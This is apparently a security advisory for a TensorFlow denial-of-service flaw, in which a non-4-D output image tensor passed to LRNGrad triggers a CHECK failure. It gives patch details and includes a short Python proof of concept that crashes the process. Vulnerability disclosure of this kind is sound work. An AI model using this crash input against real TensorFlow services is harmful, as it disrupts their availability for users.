PT-2026-59764 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
LRNGrad is given an output image input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.python
import tensorflow as tf
depth radius = 1
bias = 1.59018219
alpha = 0.117728651
beta = 0.404427052
input grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
input image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
output image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
tf.raw ops.LRNGrad(input grads=input grads, input image=input image, output image=output image, depth radius=depth radius, bias=bias, alpha=alpha, beta=beta)Patches
We have patched the issue in GitHub commit bd90b3efab4ec958b228cd7cfe9125be1c0cf255.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
Fix
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Related Identifiers
Affected Products
Tensorflow